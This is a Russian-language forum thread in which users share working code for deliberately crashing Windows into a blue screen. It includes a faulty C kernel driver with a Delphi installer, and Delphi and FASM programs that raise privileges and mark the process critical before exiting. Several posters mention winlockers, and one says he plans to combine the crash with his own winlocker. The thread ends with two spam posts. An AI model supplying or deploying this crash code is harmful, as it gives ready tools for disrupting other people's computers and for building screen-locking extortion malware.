Вызов синиго экрана смерти
| |
Qubert | Дата: Воскресенье, 12.02.2012, 20:48 | Сообщение # 1 |
Частый гость
Зарегистрирован: 21.01.2012
Группа: Пользователи
Сообщений: 43
Статус: Offline
| Всем доброго времени суток!
вопрос таков: возможно ли, сложно ли вызвать синий экран смерти с помощью Делфи? просто чтобы оно шло как заствка, ну или правда он!
з.ы. если рассматривать вариант: поставить синий экран, как картинку, засунуть в автозапуск... но как сделать, чтобы она была полностью на весь экран (чтобы даже не было возможности увидеть правый красный крестик закрытия этой формы)
спасибо! буду очень благодарен за ответ)
|
|
| |
link993 | Дата: Воскресенье, 12.02.2012, 21:37 | Сообщение # 2 |
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
| Quote (Qubert) если рассматривать вариант: поставить синий экран, как картинку, засунуть в автозапуск... но как сделать, чтобы она была полностью на весь экран (чтобы даже не было возможности увидеть правый красный крестик закрытия этой формы)
Это уже не вызов экрана смерти будет, а винлокер. Простой способ вызвать синий экран - помудрить с драйверами. Чтоб навсегда это вообще просто. Я раньше у реалтека подменял дллку, и при проигрывании звуков винда крашилась. Сейчас код дать не могу, т.к утерян он. Еще есть способ для материнских плат asus. Когда на них устанавливать Реалтек АС97 , то вылетает экран смерти. Это у них баг такой, даже если там установлена звуковая карта от самого реалтека.
Вообще синий экран можно вызвать необработанным исключением, но сейчас на 7 винде это сделать очень сложно. На XP пак 1 без проблем. Пробуй! Удачи!
p.s. если нужен винлок поройся на форуме, там был конкурс. Скачаешь что по душе.
Сообщение отредактировал link993 - Воскресенье, 12.02.2012, 21:41 |
|
| |
Волк-1024 | Дата: Воскресенье, 12.02.2012, 22:02 | Сообщение # 3 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Quote Простой способ вызвать синий экран - помудрить с драйверами. Да. Действительно. Можно написать простейший ничего не делающий драйвер. И в нём допустить пару ошибок. И при загрузке драйвера вылезет BSOD. Как на Делфи это сделать я не знаю. Можно попробовать на ассемблере.
Pascal, C\C++, Assembler, Python
|
|
| |
vvova15 | Дата: Понедельник, 13.02.2012, 07:46 | Сообщение # 4 |
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
| Quote Да. Действительно. Можно написать простейший ничего не делающий драйвер. И в нём допустить пару ошибок. И при загрузке драйвера вылезет BSOD. Как на Делфи это сделать я не знаю. Можно попробовать на ассемблере. дельфи такого не может. вернее может но там надо пздц как много опций компилятору передавать. пишешь драйвер на сишке: Code #include <ntddk.h> #include "driver.h"
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) { return; }
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { __asm { xor eax, eax mov eax, [eax] }
return STATUS_SUCCESS; }
и загружаешь его в систему. при загрузке выполняется ображение по нулевому адресу и будет bsod т.к. первые FFFFh байт адресного пространства ring0 зарезервированы для обнаружения нулевых указателей и обращение к ним является ошибкой.
устанавливаешь драйвер в систему и загружаешь так: Code function InstallDriver: boolean; const DrvName = 'Driver'; FullPath = 'c:\driver.sys'; var hSCM, hSRV: dword; sParam: PChar; begin Result := false; hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS); if hSCM = INVALID_HANDLE_VALUE then Exit; // создание системной записи о драйвере hSRV := CreateService(hSCM, DrvName, DrvName, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, FullPath, nil, nil, nil, nil, nil);
if hSRV = INVALID_HANDLE_VALUE then Exit; //запускаем драйвер StartService(hSRV, 0, sParam); //очистка ресурсов CloseServiceHandle(hSRV); CloseServiceHandle(hSCM); Result := true; end;
можно так же сделать деление на ноль вместо ображение к нулевому адресу:
ICQ 185-398
Сообщение отредактировал vvova15 - Понедельник, 13.02.2012, 07:58 |
|
| |
gravitas | Дата: Понедельник, 13.02.2012, 10:13 | Сообщение # 5 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Вот код на сишке - www.opensc.ws/c-snippets/12852-c-bsod-3-lines-code-1-50-kb-exe.html . Но по комментам в коде можно догадаться что там делается и заменить сишные процедуры на дельфовские.
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
Neo | Дата: Понедельник, 13.02.2012, 12:23 | Сообщение # 6 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| Вот тут я делал BSOD
Сообщение отредактировал Neo - Понедельник, 13.02.2012, 12:24 |
|
| |
Android | Дата: Среда, 07.03.2012, 00:11 | Сообщение # 7 |
Постоянный
Зарегистрирован: 13.12.2011
Группа: Пользователи
Сообщений: 100
Статус: Offline
| Code program reboot;
{$APPTYPE CONSOLE}
uses SysUtils, Windows;
function RtlSetProcessIsCritical(unu:DWORD;proc:POinter;doi:DWORD):LongInt;stdcall; external 'ntdll.dll'; const SE_DEBUG_NAME = 'SeDebugPrivilege';
function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean; var hToken: THandle; TokenPriv: TOKEN_PRIVILEGES; PrevTokenPriv: TOKEN_PRIVILEGES; ReturnLength: Cardinal; begin
Result := False;
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then begin try if LookupPrivilegeValue(nil, PChar(sPrivilege), TokenPriv.Privileges[0].Luid) then begin TokenPriv.PrivilegeCount := 1;
case bEnabled of True: TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; False: TokenPriv.Privileges[0].Attributes := 0; end;
ReturnLength := 0; PrevTokenPriv := TokenPriv;
AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv), PrevTokenPriv, ReturnLength); end; finally CloseHandle(hToken); end; end; end;
begin NTSetPrivilege(SE_DEBUG_NAME,TRUE); RtlSetProcessIsCritical(1,nil,0); end. Юзаем теги!
|
|
| |
xXxSh@dowxXx | Дата: Среда, 07.03.2012, 03:02 | Сообщение # 8 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Да вызвать синий экран смерти можно кучей способов, простейшее обращение к ring0 вполне себе может вызвать BSOD..., где то исходник на форуме я встречал...
вопрос только зачем такие издевательства над системой, в любом случае если вылезет критическая ошибка то комп просто перезагрузится..,если конечно эта ошибка вовсе не убьет систему...
Сообщение отредактировал xXxSh@dowxXx - Среда, 07.03.2012, 03:04 |
|
| |
gravitas | Дата: Среда, 07.03.2012, 18:29 | Сообщение # 9 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| В диспетчере если закрыть системный процесс, то вылетит бсод. Мб если программно такими же методами попробовать закрыть например winlogon то че-нить там и вылезет...
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
xXxSh@dowxXx | Дата: Среда, 07.03.2012, 22:35 | Сообщение # 10 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| как ты его закроешь, его же вроде можно убить только из нулевого кольца?
|
|
| |
gravitas | Дата: Среда, 07.03.2012, 22:47 | Сообщение # 11 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (xXxSh@dowxXx) как ты его закроешь, его же вроде можно убить только из нулевого кольца? Ну значит не его, а какой-либо другой системный процесс. Я не помню какой закрывал, а проверять что-то не хочется.
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
XSPY | Дата: Четверг, 08.03.2012, 17:08 | Сообщение # 12 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| одной строчкой можна синий вызвать)) но лучше этого не делать))
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
Marra_Kesh | Дата: Суббота, 10.03.2012, 11:22 | Сообщение # 13 |
Постоянный
Зарегистрирован: 19.12.2009
Группа: Модераторы
Сообщений: 182
Статус: Offline
| не на Delphi: format PE GUI 4.0 include 'win32a.inc'
lea eax, dword [esp+12] invoke RtlAdjustPrivilege, 20, 1, 0, eax invoke RtlSetProcessIsCritical, 1, 0, 0 invoke ExitProcess
section '.data' import data readable writeable
library ntdll, 'ntdll', kernel32, 'kernel32' import ntdll, RtlAdjustPrivilege, 'RtlAdjustPrivilege', RtlSetProcessIsCritical, 'RtlSetProcessIsCritical' import kernel32, ExitProcess, 'ExitProcess'
Заведующий палатой #6
|
|
| |
Qubert | Дата: Суббота, 10.03.2012, 14:42 | Сообщение # 14 |
Частый гость
Зарегистрирован: 21.01.2012
Группа: Пользователи
Сообщений: 43
Статус: Offline
| Marra_Kesh, assembler?)
|
|
| |
Marra_Kesh | Дата: Суббота, 10.03.2012, 15:39 | Сообщение # 15 |
Постоянный
Зарегистрирован: 19.12.2009
Группа: Модераторы
Сообщений: 182
Статус: Offline
| Qubert, да!)
Заведующий палатой #6
|
|
| |
dolphin | Дата: Суббота, 10.03.2012, 17:15 | Сообщение # 16 |
Администратор
Сообщений: 906
Статус: Offline
| Qubert, причём fasm, Marra_Kesh, откомпилировал, у меня сработало весит всего 1536 байт при сжатии 777 . так что в любой проект делфи можно запихнуть.
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
dolphin | Дата: Воскресенье, 11.03.2012, 11:37 | Сообщение # 17 |
Администратор
Сообщений: 906
Статус: Offline
| BSOD на Delphi
Доступно только для пользователей
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
Сообщение отредактировал dolphin - Воскресенье, 11.03.2012, 11:38 |
|
| |
Neo | Дата: Среда, 12.06.2013, 13:10 | Сообщение # 18 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| Marra_Kesh, Вот переписал твой код на Delphi
Код var Form1: TForm1; function RtlSetProcessIsCritical(unu:DWORD; proc:POinter; doi:DWORD ):LongInt;stdcall; external 'ntdll.dll'; function RtlAdjustPrivilege(Privilege: ULONG; Enable: BOOL; CurrentThread: BOOL; out OldPrivilege: BOOL ): DWORD; stdcall; external 'ntdll'; procedure TForm1.Button1Click(Sender: TObject); begin asm lea eax, dword [esp+12] //invoke RtlAdjustPrivilege, 20, 1, 0, eax push eax push 0 push 1 push 20 call RtlAdjustPrivilege //invoke RtlSetProcessIsCritical, 1, 0, 0 push 0 push 0 push 1 call RtlSetProcessIsCritical call ExitProcess end; end;
|
|
| |
Swan | Дата: Среда, 19.06.2013, 19:04 | Сообщение # 19 |
Новичок
Зарегистрирован: 16.06.2013
Группа: Пользователи
Сообщений: 45
Статус: Offline
| Ух ты присоеденяюсь к этой теме, а этот синий экран вылазить будет в безопасном режиме, или в обычном тоже?Интересует последний код Neo
Жизнь сложна когда учишься на своих ошибках, а зачем учиться на своих, не проще ли на чужих?
|
|
| |
Neo | Дата: Четверг, 20.06.2013, 10:46 | Сообщение # 20 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| В безопасном я не тестил,что 90%,что будет.
|
|
| |
Swan | Дата: Четверг, 20.06.2013, 13:59 | Сообщение # 21 |
Новичок
Зарегистрирован: 16.06.2013
Группа: Пользователи
Сообщений: 45
Статус: Offline
| Цитата (Neo) В безопасном я не тестил,что 90%,что будет. Круто, главное что бы в обычном не вылезал, а то мой винлокер не запуститься.Добавлено (20.06.2013, 13:44) --------------------------------------------- Протестил на виртуалке синий экран действительно появился, но после перезагрузки все обычно стало Добавлено (20.06.2013, 13:59) --------------------------------------------- В безопасном режиме синиго экрана нету=(
Жизнь сложна когда учишься на своих ошибках, а зачем учиться на своих, не проще ли на чужих?
|
|
| |
myvvar | Дата: Среда, 12.04.2017, 03:19 | Сообщение # 22 |
Новичок
Зарегистрирован: 12.04.2017
Группа: Пользователи
Сообщений: 1
Статус: Offline
| Цитата Neo ( ) Marra_Kesh, Вот переписал твой код на Delphi
view plaincopy to clipboardprint? var Form1: TForm1; function RtlSetProcessIsCritical(unu:DWORD; proc:POinter; doi:DWORD ):LongInt;stdcall; external 'ntdll.dll'; function RtlAdjustPrivilege(Privilege: ULONG; Enable: BOOL; CurrentThread: BOOL; out OldPrivilege: BOOL ): DWORD; stdcall; external 'ntdll'; procedure TForm1.Button1Click(Sender: TObject); begin asm lea eax, dword [esp+12] //invoke RtlAdjustPrivilege, 20, 1, 0, eax push eax push 0 push 1 push 20 call RtlAdjustPrivilege //invoke RtlSetProcessIsCritical, 1, 0, 0 push 0 push 0 push 1 call RtlSetProcessIsCritical call ExitProcess end; end; Спасибо за код, но в 64-ех битном приложение не работает. Скомпилировать даже не дает... хотя заменив регистр на rax все таки дает, но BSOD'а нет, приложение просто закрывается. Даже пробовал esp заменить на rsp и dword на qword, бестолку...
|
|
| |
JeffreyNek | Дата: Воскресенье, 25.06.2017, 18:56 | Сообщение # 23 |
Группа: Удаленные
| Aqueduct — Шаблоны WordPress. Скачать бесплатно премиум шаблон Вордпресс Click here!..
|
|
| |
JessyGearf | Дата: Пятница, 30.06.2017, 18:11 | Сообщение # 24 |
Группа: Удаленные
| Всем привет! Я зарабатывю здесь...
|
|
| |
|